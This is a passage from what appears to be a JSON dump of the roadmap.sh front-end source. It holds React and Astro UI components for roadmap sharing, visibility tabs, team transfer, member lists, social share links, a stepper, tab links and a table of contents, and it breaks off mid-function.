animate-spin\" />}\n            Update Sharing Settings\n          </UpdateAction>\n        )}\n      </div>\n    </Modal>\n  );\n}\n\nfunction UpdateAction(props: {\n  onClick: () => void;\n  disabled?: boolean;\n  children: ReactNode;\n  className?: string;\n}) {\n  const { onClick, disabled, children, className } = props;\n\n  return (\n    <button\n      className={cn(\n        'flex min-w-[120px] items-center justify-center gap-1.5 rounded-md border border-gray-900 bg-gray-900 px-4 py-2 text-white hover:bg-gray-800 disabled:cursor-not-allowed disabled:opacity-75',\n        disabled && 'border-gray-700 bg-gray-700 text-white hover:bg-gray-700',\n        className,\n      )}\n      disabled={disabled}\n      onClick={onClick}\n    >\n      {children}\n    </button>\n  );\n}\n\ntype DiscoveryCheckboxProps = {\n  isDiscoverable: boolean;\n  setIsDiscoverable: (isDiscoverable: boolean) => void;\n};\n\nfunction DiscoveryCheckbox(props: DiscoveryCheckboxProps) {\n  const { isDiscoverable, setIsDiscoverable } = props;\n\n  return (\n    <label className=\"group flex items-center gap-1.5\">\n      <input\n        type=\"checkbox\"\n        checked={isDiscoverable}\n        onChange={(e) => setIsDiscoverable(e.target.checked)}\n      />\n      <span className=\"text-sm text-gray-500 group-hover:text-gray-700\">\n        Include on discovery page\n      </span>\n    </label>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareOptions/ShareOptionsTab.tsx",
    "content": "import {\n  ArrowLeftRight,\n  Check,\n  Globe2,\n  Lock,\n  Users,\n  Users2,\n} from 'lucide-react';\nimport type { AllowedRoadmapVisibility } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\nimport { cn } from '../../lib/classname';\nimport { $teamList } from '../../stores/team.ts';\nimport { useStore } from '@nanostores/react';\n\nexport const allowedVisibilityLabels: {\n  id: AllowedRoadmapVisibility;\n  label: string;\n  long: string;\n  icon: typeof Lock;\n}[] = [\n  {\n    id: 'me',\n    label: 'Only me',\n    long: 'Only visible to me',\n    icon: Lock,\n  },\n  {\n    id: 'public',\n    label: 'Public',\n    long: 'Anyone can view',\n    icon: Globe2,\n  },\n  {\n    id: 'friends',\n    label: 'Only friends',\n    long: 'Only friends can view',\n    icon: Users,\n  },\n  {\n    id: 'team',\n    label: 'Only Members',\n    long: 'Visible to team members',\n    icon: Users2,\n  },\n];\n\ntype ShareOptionTabsProps = {\n  visibility: AllowedRoadmapVisibility;\n  setVisibility: (visibility: AllowedRoadmapVisibility) => void;\n\n  isTransferringToTeam: boolean;\n  setIsTransferringToTeam: (isTransferringToTeam: boolean) => void;\n\n  teamId?: string;\n\n  onChange: (visibility: AllowedRoadmapVisibility) => void;\n};\n\nexport function ShareOptionTabs(props: ShareOptionTabsProps) {\n  const {\n    isTransferringToTeam,\n    setIsTransferringToTeam,\n    visibility,\n    setVisibility,\n    teamId,\n    onChange,\n  } = props;\n\n  const teamList = useStore($teamList);\n\n  const handleTabClick = (visibility: AllowedRoadmapVisibility) => {\n    setIsTransferringToTeam(false);\n    setVisibility(visibility);\n    onChange(visibility);\n  };\n\n  return (\n    <div className=\"flex justify-between\">\n      <ul className=\"flex w-full items-center gap-1.5\">\n        {allowedVisibilityLabels.map((v) => {\n          if (v.id === 'friends' && teamId) {\n            return null;\n          }\n\n          const isActive = !isTransferringToTeam && v.id === visibility;\n          return (\n            <li key={v.id}>\n              <OptionTab\n                label={v.label}\n                isActive={isActive}\n                icon={v.icon}\n                onClick={() => {\n                  handleTabClick(v.id);\n                }}\n              />\n            </li>\n          );\n        })}\n      </ul>\n      {(!teamId || teamList.length > 1) && (\n        <div className=\"grow\">\n          <OptionTab\n            label=\"Transfer to team\"\n            icon={ArrowLeftRight}\n            isActive={isTransferringToTeam}\n            onClick={() => {\n              setIsTransferringToTeam(true);\n            }}\n            className='border-red-300 text-red-600 hover:border-red-200 hover:bg-red-50 data-[active=\"true\"]:border-red-600 data-[active=\"true\"]:bg-red-600 data-[active=\"true\"]:text-white'\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n\ntype OptionTabProps = {\n  label: string;\n  isActive: boolean;\n  onClick: () => void;\n  icon: typeof Lock;\n  className?: string;\n};\n\nfunction OptionTab(props: OptionTabProps) {\n  const { label, isActive, onClick, icon: Icon, className } = props;\n\n  return (\n    <button\n      className={cn(\n        'flex items-center justify-center gap-2 rounded-md border px-3 py-2 text-sm text-black hover:border-gray-300 hover:bg-gray-100',\n        'data-[active=\"true\"]:border-gray-500 data-[active=\"true\"]:bg-gray-200 data-[active=\"true\"]:text-black',\n        className,\n      )}\n      data-active={isActive}\n      disabled={isActive}\n      onClick={onClick}\n    >\n      {!isActive && <Icon className=\"h-4 w-4\" />}\n      {isActive && <Check className=\"h-4 w-4\" />}\n      <span className=\"whitespace-nowrap\">{label}</span>\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareOptions/ShareSuccess.tsx",
    "content": "import { CheckCircle, Copy, Facebook, Linkedin, Twitter } from 'lucide-react';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { cn } from '../../lib/classname';\nimport type { AllowedRoadmapVisibility } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\n\ntype ShareSuccessProps = {\n  roadmapSlug?: string;\n  roadmapId: string;\n  onClose: () => void;\n  visibility: AllowedRoadmapVisibility;\n  description?: string;\n  isSharingWithOthers?: boolean;\n};\n\nexport function ShareSuccess(props: ShareSuccessProps) {\n  const {\n    roadmapSlug,\n    roadmapId,\n    onClose,\n    description,\n    visibility,\n    isSharingWithOthers = false,\n  } = props;\n\n  const baseUrl = import.meta.env.DEV\n    ? 'http://localhost:3000'\n    : 'https://roadmap.sh';\n  const shareLink = roadmapSlug\n    ? `${baseUrl}/r/${roadmapSlug}`\n    : `${baseUrl}/r?id=${roadmapId}`;\n\n  const { copyText, isCopied } = useCopyText();\n\n  const socialShareLinks = [\n    {\n      title: 'Twitter',\n      href: `https://twitter.com/intent/tweet?text=${description}&url=${shareLink}`,\n      icon: Twitter,\n    },\n    {\n      title: 'Facebook',\n      href: `https://www.facebook.com/sharer/sharer.php?quote=${description}&u=${shareLink}`,\n      icon: Facebook,\n    },\n    {\n      title: 'Linkedin',\n      href: `https://www.linkedin.com/sharing/share-offsite/?url=${shareLink}`,\n      icon: Linkedin,\n    },\n  ];\n\n  const embedHtml = `<iframe src=\"${baseUrl}/r/embed?id=${roadmapId}\" width=\"100%\" height=\"500px\" frameBorder=\"0\"\\n></iframe>`;\n\n  return (\n    <div className=\"flex grow flex-col justify-center\">\n      <div className=\"mt-5 flex grow flex-col items-center justify-center gap-1.5\">\n        <CheckCircle className=\"h-14 w-14 text-green-500\" />\n        {isSharingWithOthers ? (\n          <h3 className=\"text-xl font-medium\">Sharing with Others</h3>\n        ) : (\n          <h3 className=\"text-xl font-medium\">Sharing Settings Updated</h3>\n        )}\n      </div>\n\n      <input\n        type=\"text\"\n        className=\"mt-6 w-full rounded-md border bg-gray-50 p-2 px-2.5 text-gray-700 focus:outline-hidden\"\n        value={shareLink}\n        readOnly\n        onClick={(e) => {\n          e.currentTarget.select();\n          copyText(shareLink);\n        }}\n      />\n      {isSharingWithOthers ? (\n        <p className=\"mt-1 text-sm text-gray-400\">\n          You can share the above link with anyone\n        </p>\n      ) : (\n        <p className=\"mt-1 text-sm text-gray-400\">\n          You can share the above link with anyone who has access\n        </p>\n      )}\n\n      {visibility === 'public' && (\n        <>\n          <div className=\"mt-2 border-t pt-2\">\n            <p className=\"text-sm text-gray-400\">\n              You can also embed this roadmap on your website.\n            </p>\n            <div className=\"mt-2\">\n              <input\n                onClick={(e) => {\n                  e.currentTarget.select();\n                  copyText(embedHtml);\n                }}\n                readOnly={true}\n                className=\"w-full resize-none rounded-md border bg-gray-50 p-2 text-sm\"\n                value={embedHtml}\n              />\n            </div>\n          </div>\n          <div className=\"-mx-4 mt-4 flex items-center gap-1.5\">\n            <span className=\"h-px grow bg-gray-300\" />\n            <span className=\"px-2 text-xs uppercase text-gray-400\">Or</span>\n            <span className=\"h-px grow bg-gray-300\" />\n          </div>\n\n          <div className=\"mt-4 flex items-center gap-2\">\n            <span className=\"text-sm text-gray-600\">Share with others on</span>\n            <ul className=\"flex items-center gap-1.5\">\n              {socialShareLinks.map((socialShareLink) => (\n                <li key={socialShareLink.title}>\n                  <a\n                    href={socialShareLink.href}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className=\"flex h-8 w-8 items-center justify-center gap-1.5 rounded-md border bg-gray-50 text-sm text-gray-700 hover:bg-gray-100 focus:outline-hidden\"\n                  >\n                    <socialShareLink.icon className=\"h-4 w-4\" />\n                  </a>\n                </li>\n              ))}\n            </ul>\n          </div>\n        </>\n      )}\n\n      <div className=\"mt-4 flex flex-col items-center justify-end gap-2\">\n        <button\n          className={cn(\n            'flex w-full items-center justify-center gap-1.5 rounded-sm bg-black px-4 py-2.5 text-sm font-medium text-white hover:opacity-80',\n            isCopied && 'bg-green-300 text-green-800',\n          )}\n          disabled={isCopied}\n          onClick={() => {\n            copyText(shareLink);\n          }}\n        >\n          <Copy className=\"h-3.5 w-3.5 stroke-[2.5]\" />\n          {isCopied ? 'Copied' : 'Copy URL'}\n        </button>\n        <button\n          className={cn(\n            'flex w-full items-center justify-center gap-1.5 rounded-sm border border-black px-4 py-2 text-sm font-medium hover:bg-gray-100',\n          )}\n          onClick={onClose}\n        >\n          Close\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareOptions/ShareTeamMemberList.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { UserItem } from './UserItem';\nimport { Users } from 'lucide-react';\nimport { httpGet } from '../../lib/http';\n\nconst allowedRoles = ['admin', 'manager', 'member'] as const;\nconst allowedStatus = ['invited', 'joined', 'rejected'] as const;\n\nexport type AllowedMemberRoles = (typeof allowedRoles)[number];\nexport type AllowedMemberStatus = (typeof allowedStatus)[number];\n\nexport interface TeamMemberDocument {\n  _id?: string;\n  userId?: string;\n  invitedEmail?: string;\n  teamId: string;\n  role: AllowedMemberRoles;\n  status: AllowedMemberStatus;\n  progressReminderCount: number;\n  lastProgressReminderAt?: Date;\n  lastResendInviteAt?: Date;\n  resendInviteCount?: number;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\nexport interface TeamMemberList extends TeamMemberDocument {\n  name: string;\n  avatar: string;\n  hasProgress: boolean;\n}\n\ntype ShareTeamMemberListProps = {\n  teamId: string;\n  title?: string;\n  sharedTeamMemberIds: string[];\n  setSharedTeamMemberIds: (sharedTeamMemberIds: string[]) => void;\n\n  membersCache: Map<string, TeamMemberList[]>;\n  isTeamMembersLoading: boolean;\n  setIsTeamMembersLoading: (isLoading: boolean) => void;\n};\n\nexport function ShareTeamMemberList(props: ShareTeamMemberListProps) {\n  const {\n    teamId,\n    title = 'Select Members',\n    sharedTeamMemberIds,\n    setSharedTeamMemberIds,\n\n    membersCache,\n    isTeamMembersLoading: isLoading,\n    setIsTeamMembersLoading: setIsLoading,\n  } = props;\n\n  const toast = useToast();\n\n  async function loadTeamMembers() {\n    if (membersCache.has(teamId)) {\n      return;\n    }\n\n    setIsLoading(true);\n    const { response, error } = await httpGet<TeamMemberList[]>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-team-member-list/${teamId}`\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    const joinedMembers =\n      response?.filter((member) => member.status === 'joined') || [];\n    membersCache.set(teamId, joinedMembers);\n  }\n\n  useEffect(() => {\n    loadTeamMembers().finally(() => {\n      setIsLoading(false);\n    });\n  }, [teamId]);\n\n  const loadingMembers = isLoading && (\n    <ul className=\"mt-2 grid grid-cols-3 gap-2.5\">\n      {[...Array(3)].map((_, idx) => (\n        <li\n          key={idx}\n          className=\"flex min-h-[66px] animate-pulse items-center gap-2 rounded-md border p-2\"\n        >\n          <div className=\"h-8 w-8 shrink-0 rounded-full bg-gray-200\" />\n          <div className=\"inline-grid w-full\">\n            <div className=\"h-5 w-2/4 rounded-sm bg-gray-200\" />\n            <div className=\"mt-1 h-5 w-3/4 rounded-sm bg-gray-200\" />\n          </div>\n        </li>\n      ))}\n    </ul>\n  );\n\n  const members = membersCache.get(teamId) || [];\n\n  return (\n    <>\n      {(members.length > 0 || isLoading) && (\n        <div className=\"flex items-center justify-between gap-2\">\n          <p className=\"text-sm\">{title}</p>\n\n          <label className=\"flex items-center gap-2\">\n            <input\n              type=\"checkbox\"\n              checked={sharedTeamMemberIds.length === members.length}\n              onChange={(e) => {\n                if (e.target.checked) {\n                  setSharedTeamMemberIds(members.map((member) => member._id!));\n                } else {\n                  setSharedTeamMemberIds([]);\n                }\n              }}\n            />\n            <span className=\"text-sm\">Select all</span>\n          </label>\n        </div>\n      )}\n\n      {loadingMembers}\n      {members?.length > 0 && !isLoading && (\n        <ul className=\"mt-2 grid grid-cols-3 gap-2.5\">\n          {members?.map((member) => {\n            const isSelected = sharedTeamMemberIds?.includes(\n              member._id?.toString()!\n            );\n            return (\n              <li key={member.userId}>\n                <UserItem\n                  user={{\n                    name: member.name,\n                    avatar: member.avatar,\n                    email: member.invitedEmail!,\n                  }}\n                  isSelected={isSelected}\n                  onClick={() => {\n                    if (isSelected) {\n                      setSharedTeamMemberIds(\n                        sharedTeamMemberIds.filter(\n                          (id) => id !== member._id?.toString()!\n                        )\n                      );\n                    } else {\n                      setSharedTeamMemberIds([\n                        ...sharedTeamMemberIds,\n                        member._id?.toString()!,\n                      ]);\n                    }\n                  }}\n                />\n              </li>\n            );\n          })}\n        </ul>\n      )}\n\n      {members.length === 0 && !isLoading && (\n        <div className=\"flex grow flex-col items-center justify-center gap-2\">\n          <Users className=\"h-12 w-12 text-gray-500\" />\n          <p className=\"text-gray-500\">No members have been added yet.</p>\n        </div>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareOptions/TransferToTeamList.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { Users2 } from 'lucide-react';\nimport { httpGet } from '../../lib/http';\nimport { cn } from '../../lib/classname';\nimport type { UserTeamItem } from '../TeamDropdown/TeamDropdown';\n\ntype TransferToTeamListProps = {\n  teams: UserTeamItem[];\n  setTeams: (teams: UserTeamItem[]) => void;\n\n  currentTeamId?: string;\n  selectedTeamId: string | null;\n  setSelectedTeamId: (teamId: string | null) => void;\n\n  isTeamMembersLoading: boolean;\n  setIsTeamMembersLoading: (isLoading: boolean) => void;\n  onTeamChange: (teamId: string | null) => void;\n};\n\nexport function TransferToTeamList(props: TransferToTeamListProps) {\n  const {\n    teams,\n    setTeams,\n    selectedTeamId,\n    setSelectedTeamId,\n    isTeamMembersLoading,\n    currentTeamId,\n    setIsTeamMembersLoading,\n    onTeamChange,\n  } = props;\n\n  const toast = useToast();\n\n  const [isLoading, setIsLoading] = useState(true);\n\n  async function getAllTeams() {\n    if (teams.length > 0) {\n      return;\n    }\n\n    const { response, error } = await httpGet<UserTeamItem[]>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-user-teams`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setTeams(\n      response.filter((team) => ['admin', 'manager'].includes(team.role)),\n    );\n  }\n\n  useEffect(() => {\n    getAllTeams().finally(() => setIsLoading(false));\n  }, []);\n\n  const loadingTeams = isLoading && (\n    <ul className=\"mt-2 grid grid-cols-3 gap-1.5\">\n      {[...Array(3)].map((_, index) => (\n        <li key={index}>\n          <div className=\"relative flex w-full items-center gap-2 rounded-md border p-2\">\n            <div className=\"h-6 w-6 shrink-0 animate-pulse rounded-full bg-gray-200\" />\n            <div className=\"inline-grid w-full\">\n              <div className=\"h-4 animate-pulse rounded-sm bg-gray-200\" />\n            </div>\n          </div>\n        </li>\n      ))}\n    </ul>\n  );\n\n  return (\n    <>\n      {(teams.length > 0 || isLoading) && (\n        <p className=\"text-sm\">Select a team to transfer this roadmap to</p>\n      )}\n\n      {loadingTeams}\n      {teams.length > 0 && !isLoading && (\n        <ul className=\"mt-2 grid grid-cols-3 gap-1.5\">\n          {teams.map((team) => {\n            const isSelected = team._id === selectedTeamId;\n            if (team._id === currentTeamId) {\n              return null;\n            }\n\n            return (\n              <li key={team._id}>\n                <button\n                  className={cn(\n                    'relative flex w-full items-center gap-2.5 rounded-lg border p-2.5 disabled:cursor-not-allowed disabled:opacity-70',\n                    isSelected && 'border-gray-500 bg-gray-100 text-black',\n                  )}\n                  disabled={isTeamMembersLoading}\n                  onClick={() => {\n                    if (isSelected) {\n                      setSelectedTeamId(null);\n                    } else {\n                      setSelectedTeamId(team._id);\n                    }\n                    onTeamChange(team._id);\n                  }}\n                >\n                  <img\n                    src={\n                      team.avatar\n                        ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${\n                            team.avatar\n                          }`\n                        : '/img/default-avatar.png'\n                    }\n                    alt={team.name || ''}\n                    className=\"h-6 w-6 shrink-0 rounded-full\"\n                  />\n                  <div className=\"inline-grid w-full\">\n                    <h3 className=\"truncate text-left font-normal\">\n                      {team.name}\n                    </h3>\n                  </div>\n                </button>\n              </li>\n            );\n          })}\n        </ul>\n      )}\n\n      {teams.length === 0 && !isLoading && (\n        <div className=\"flex grow flex-col items-center justify-center gap-2\">\n          <Users2 className=\"h-12 w-12 text-gray-500\" />\n          <p className=\"text-gray-500\">You are not a member of any team.</p>\n        </div>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareOptions/UserItem.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype UserItemProps = {\n  user: {\n    name: string;\n    email: string;\n    avatar: string;\n  };\n  onClick: () => void;\n  isSelected: boolean;\n};\n\nexport function UserItem(props: UserItemProps) {\n  const { user, onClick, isSelected } = props;\n\n  return (\n    <button\n      className={cn(\n        'relative flex w-full items-center gap-2.5 rounded-lg border p-2.5',\n        isSelected && 'border-gray-500 bg-gray-300 text-black'\n      )}\n      onClick={onClick}\n    >\n      <img\n        src={\n          user.avatar\n            ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${user.avatar}`\n            : '/img/default-avatar.png'\n        }\n        alt={user.name || ''}\n        className=\"relative top-[1px] h-10 w-10 shrink-0 rounded-full\"\n      />\n      <div className=\"inline-grid w-full\">\n        <h3 className=\"truncate text-left font-semibold\">{user.name}</h3>\n        <p\n          className={cn(\n            'truncate text-left text-sm text-gray-500',\n            isSelected && 'text-gray-700'\n          )}\n        >\n          {user.email}\n        </p>\n      </div>\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareRoadmapButton.tsx",
    "content": "import { Check, Code2, Copy, Facebook, Linkedin, Share2 } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../hooks/use-outside-click.ts';\nimport { useCopyText } from '../hooks/use-copy-text.ts';\nimport { cn } from '../lib/classname.ts';\nimport { TwitterIcon } from './ReactIcons/TwitterIcon.tsx';\nimport { EmbedRoadmapModal } from './CustomRoadmap/EmbedRoadmapModal.tsx';\n\ntype ShareRoadmapButtonProps = {\n  roadmapId?: string;\n  description: string;\n  pageUrl: string;\n  allowEmbed?: boolean;\n};\n\nexport function ShareRoadmapButton(props: ShareRoadmapButtonProps) {\n  const { description, pageUrl, allowEmbed = false, roadmapId } = props;\n\n  const { isCopied, copyText } = useCopyText();\n\n  const [isEmbedModalOpen, setIsEmbedModalOpen] = useState(false);\n\n  const containerRef = useRef<HTMLDivElement>(null);\n  const [isDropdownOpen, setIsDropdownOpen] = useState(false);\n\n  const twitterUrl = `https://twitter.com/intent/tweet?text=${description}&url=${pageUrl}`;\n  const fbUrl = `https://www.facebook.com/sharer/sharer.php?quote=${description}&u=${pageUrl}`;\n  const hnUrl = `https://news.ycombinator.com/submitlink?t=${description}&u=${pageUrl}`;\n  const redditUrl = `https://www.reddit.com/submit?title=${description}&url=${pageUrl}`;\n  const linkedinUrl = `https://www.linkedin.com/shareArticle?mini=true&url=${pageUrl}&title=${description}`;\n\n  useOutsideClick(containerRef, () => {\n    setIsDropdownOpen(false);\n  });\n\n  return (\n    <div className=\"relative\" ref={containerRef}>\n      {isEmbedModalOpen && (\n        <EmbedRoadmapModal\n          onClose={() => {\n            setIsEmbedModalOpen(false);\n          }}\n        />\n      )}\n      <button\n        onClick={() => setIsDropdownOpen(!isDropdownOpen)}\n        className={cn(\n          'inline-flex h-full items-center justify-center rounded-md bg-yellow-400 px-3 py-1.5 text-xs font-medium hover:bg-yellow-500 sm:text-sm',\n          {\n            'bg-yellow-500': isDropdownOpen,\n            'bg-green-400': isCopied,\n          },\n        )}\n        aria-label=\"Share Roadmap\"\n      >\n        {!isCopied && (\n          <>\n            <Share2 size=\"15px\" />\n            <span className=\"ml-2 hidden sm:inline\">Share</span>\n          </>\n        )}\n        {isCopied && (\n          <>\n            <Check size=\"15px\" />\n            <span className=\"ml-2 hidden sm:inline\">Copied</span>\n          </>\n        )}\n      </button>\n\n      {isDropdownOpen && (\n        <div className=\"absolute right-0 z-999 mt-1 w-40 rounded-md bg-slate-800 text-sm text-white shadow-lg ring-1 ring-black ring-opacity-5 w-[175px]\">\n          <div className=\"flex flex-col px-1 py-1\">\n            <button\n              onClick={() => {\n                copyText(pageUrl);\n                setIsDropdownOpen(false);\n              }}\n              className=\"flex w-full items-center gap-2 rounded-xs px-2 py-2 text-sm text-slate-100 hover:bg-slate-700\"\n            >\n              <div className=\"flex w-[20px] items-center justify-center\">\n                <Copy size=\"15px\" className=\"text-slate-400\" />\n              </div>\n              Copy Link\n            </button>\n            {allowEmbed && roadmapId && (\n              <button\n                onClick={() => {\n                  setIsDropdownOpen(false);\n                  setIsEmbedModalOpen(true);\n                }}\n                className=\"flex w-full items-center gap-2 rounded-xs px-2 py-2 text-sm text-slate-100 hover:bg-slate-700\"\n              >\n                <div className=\"flex w-[20px] items-center justify-center\">\n                  <Code2 size=\"15px\" className=\"text-slate-400\" />\n                </div>\n                Embed Roadmap\n              </button>\n            )}\n            <a\n              href={twitterUrl}\n              target={'_blank'}\n              className=\"mt-1 flex w-full items-center gap-2 rounded-xs px-2 py-2 text-sm text-slate-100 hover:bg-slate-700\"\n            >\n              <div className=\"flex w-[20px] shrink-0 items-center justify-center\">\n                <TwitterIcon className=\"h-[16px] text-slate-400\" />\n              </div>\n              Twitter\n            </a>\n            <a\n              href={fbUrl}\n              target={'_blank'}\n              className=\"flex w-full items-center gap-2 rounded-xs px-2 py-2 text-sm text-slate-100 hover:bg-slate-700\"\n            >\n              <div className=\"flex w-[20px] items-center justify-center\">\n                <Facebook size=\"16px\" className=\"text-slate-400\" />\n              </div>\n              Facebook\n            </a>\n            <a\n              href={hnUrl}\n              target={'_blank'}\n              className=\"flex w-full items-center gap-2 rounded-xs px-2 py-2 text-sm text-slate-100 hover:bg-slate-700\"\n            >\n              <div className=\"flex w-[20px] items-center justify-center\">\n                <img\n                  alt={'hackernews logo'}\n                  src={'/img/hackernews.svg'}\n                  className=\"h-5 w-5\"\n                />\n              </div>\n              Hacker News\n            </a>\n            <a\n              href={redditUrl}\n              target={'_blank'}\n              className=\"flex w-full items-center gap-2 rounded-xs px-2 py-2 text-sm text-slate-100 hover:bg-slate-700\"\n            >\n              <div className=\"flex w-[20px] items-center justify-center\">\n                <img\n                  alt={'reddit logo'}\n                  src={'/img/reddit.svg'}\n                  className=\"h-5 w-5\"\n                />\n              </div>\n              Reddit\n            </a>\n            <a\n              href={linkedinUrl}\n              target={'_blank'}\n              className=\"flex w-full items-center gap-2 rounded-xs px-2 py-2 text-sm text-slate-100 hover:bg-slate-700\"\n            >\n              <div className=\"flex w-[20px] items-center justify-center\">\n                <Linkedin size=\"16px\" className=\"text-slate-400\" />\n              </div>\n              LinkedIn\n            </a>\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SimplePageHeader.astro",
    "content": "---\nimport YouTubeAlert from './YouTubeAlert.astro';\n\nexport interface Props {\n  title: string;\n  description: string;\n  showYouTubeAlert?: boolean;\n}\n\nconst { title, description, showYouTubeAlert = false } = Astro.props;\n---\n\n<div class=\"bg-white border-b pt-6 pb-5 sm:pt-12 sm:pb-10\">\n  <div class=\"container\">\n    {\n      showYouTubeAlert && (\n        <div class=\"mb-4 hidden sm:block\">\n          <YouTubeAlert />\n        </div>\n      )\n    }\n\n    <h1 class=\"text-3xl sm:text-5xl mb-1 sm:mb-2 font-bold\">{title}</h1>\n    <p class=\"text-gray-500 text-sm sm:text-lg\">{description}</p>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/Stepper.tsx",
    "content": "import { Fragment } from 'react';\nimport { CheckIcon } from './ReactIcons/CheckIcon';\n\ntype StepperStep = {\n  label: string;\n  onClick?: () => void;\n};\n\ntype StepperProps = {\n  activeIndex: number;\n  completeSteps: number[];\n  steps: StepperStep[];\n};\n\nexport function Stepper(props: StepperProps) {\n  const { steps, activeIndex = 0, completeSteps = [] } = props;\n\n  return (\n    <ol className=\"flex w-full items-center text-gray-500\" key=\"stepper\">\n      {steps.map((step, stepCounter) => {\n        const isComplete = completeSteps.includes(stepCounter);\n        const isActive = activeIndex === stepCounter;\n        const isLast = stepCounter === steps.length - 1;\n\n        return (\n          <Fragment key={stepCounter}>\n            <li\n              className={`flex items-center ${\n                isComplete || isActive ? 'text-black' : 'text-gray-400'\n              }`}\n            >\n              {isComplete && (\n                <CheckIcon\n                  additionalClasses={'mr-2 top-[0.5px] w-[18px] h-[18px]'}\n                />\n              )}\n              {!isComplete && (\n                <span className=\"mr-2 font-semibold\">{stepCounter + 1}</span>\n              )}\n              <span className=\"flex grow\">{step.label}</span>\n            </li>\n            {!isLast && (\n              <li className={'mx-5 flex grow rounded-md bg-gray-200'}>\n                <span className={'h-1 w-full'} />\n              </li>\n            )}\n          </Fragment>\n        );\n      })}\n    </ol>\n  );\n}\n"
  },
  {
    "path": "src/components/TabLink.tsx",
    "content": "import type { LucideIcon } from 'lucide-react';\nimport { cn } from '../lib/classname.ts';\n\ntype TabLinkProps = {\n  icon: LucideIcon;\n  text: string;\n  mobileText?: string;\n  isActive: boolean;\n  isExternal?: boolean;\n  badgeText?: string;\n  hideTextOnMobile?: boolean;\n  url: string;\n  className?: string;\n};\n\nexport function TabLink(props: TabLinkProps) {\n  const {\n    icon: Icon,\n    badgeText,\n    isExternal = false,\n    url,\n    text,\n    mobileText,\n    isActive,\n    hideTextOnMobile = false,\n    className: additionalClassName = '',\n  } = props;\n\n  const className = cn(\n    'inline-flex group transition-colors items-center gap-1.5 border-b-2 px-2 pb-2.5 text-sm',\n    {\n      'cursor-default border-b-black font-medium text-black': isActive,\n      'border-b-transparent font-normal text-gray-400 hover:text-gray-700':\n        !isActive,\n      'font-medium hover:text-black text-gray-500 px-0': isExternal,\n    },\n    additionalClassName,\n  );\n\n  const textClass = cn({\n    'hidden sm:inline': hideTextOnMobile,\n  });\n\n  const badgeNode = badgeText && (\n    <span\n      className={cn(\n        'ml-0.5 hidden items-center gap-0.5 rounded-full bg-yellow-200 px-2 py-0.5 text-xs font-medium text-black transition-colors sm:flex',\n        {\n          'bg-gray-200 text-black group-hover:bg-gray-300':\n            badgeText?.toLowerCase() == 'soon',\n          'bg-yellow-200 text-black group-hover:bg-yellow-300':\n            badgeText?.toLowerCase() == 'new',\n        },\n      )}\n    >\n      <span className=\"relative -top-px\">{badgeText}</span>\n    </span>\n  );\n\n  if (isActive) {\n    return (\n      <span className={className}>\n        <Icon className=\"h-4 w-4 shrink-0\" />\n        <span className={textClass}>{text}</span>\n        {badgeNode}\n      </span>\n    );\n  }\n\n  return (\n    <a\n      target={isExternal ? '_blank' : undefined}\n      onClick={(e) => {\n        e.preventDefault();\n      }}\n      href={url}\n      className={className}\n    >\n      <Icon className=\"h-4 w-4 shrink-0\" />\n      <span className={cn(textClass, 'hidden sm:inline')}>{text}</span>\n      <span className={cn(textClass, 'inline sm:hidden')}>{mobileText || text}</span>\n      {badgeNode}\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/TableOfContent/TableOfContent.tsx",
    "content": "import { useState } from 'react';\nimport type { HeadingGroupType } from '../../lib/guide-renderer';\nimport { ChevronDown } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype TableOfContentProps = {\n  toc: HeadingGroupType[];\n};\n\nexport function TableOfContent(props: TableOfContentProps) {\n  const { toc } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  if (toc.length === 0) {\n    return null;\n  }\n\n  const totalRows = toc.flatMap((heading) => {\n    return [heading, ...heading.children];\n  }).length;\n\n  return (\n    <div\n      className={cn(\n        'relative min-w-[250px] px-5 pt-0 max-lg:max-w-full max-lg:min-w-full max-lg:border-none max-lg:px-0 lg:pt-5',\n        {\n          'top-[36px] lg:sticky!': totalRows <= 20,\n        },\n      )}\n    >\n      <h4 className=\"text-lg font-medium max-lg:hidden\">In this article</h4>\n      <button\n        className=\"flex w-full items-center justify-between gap-2 bg-gray-300 px-3 py-2 text-sm font-medium lg:hidden\"\n        onClick={() => setIsOpen(!isOpen)}\n      >\n        Table of Contents\n        <ChevronDown\n          size={16}\n          className={cn(\n            'transform transition-transform',\n            isOpen && 'rotate-180',\n          )}\n        />\n      </button>\n\n      <ol\n        className={cn(\n          'mt-0.5 space-y-0 max-lg:absolute max-lg:top-full max-lg:mt-0 max-lg:w-full max-lg:bg-white max-lg:shadow-sm',\n          !isOpen && 'hidden lg:block',\n          isOpen && 'block',\n        )}\n      >\n        {toc.map((heading) => (\n          <li key={heading.slug}>\n            <a\n              href={`#${heading.slug}`}\n              className=\"text-sm text-gray-500 no-underline hover:text-black max-lg:block max-lg:border-b max-lg:px-3 max-lg:py-1\"\n              onClick={() => {\n                if 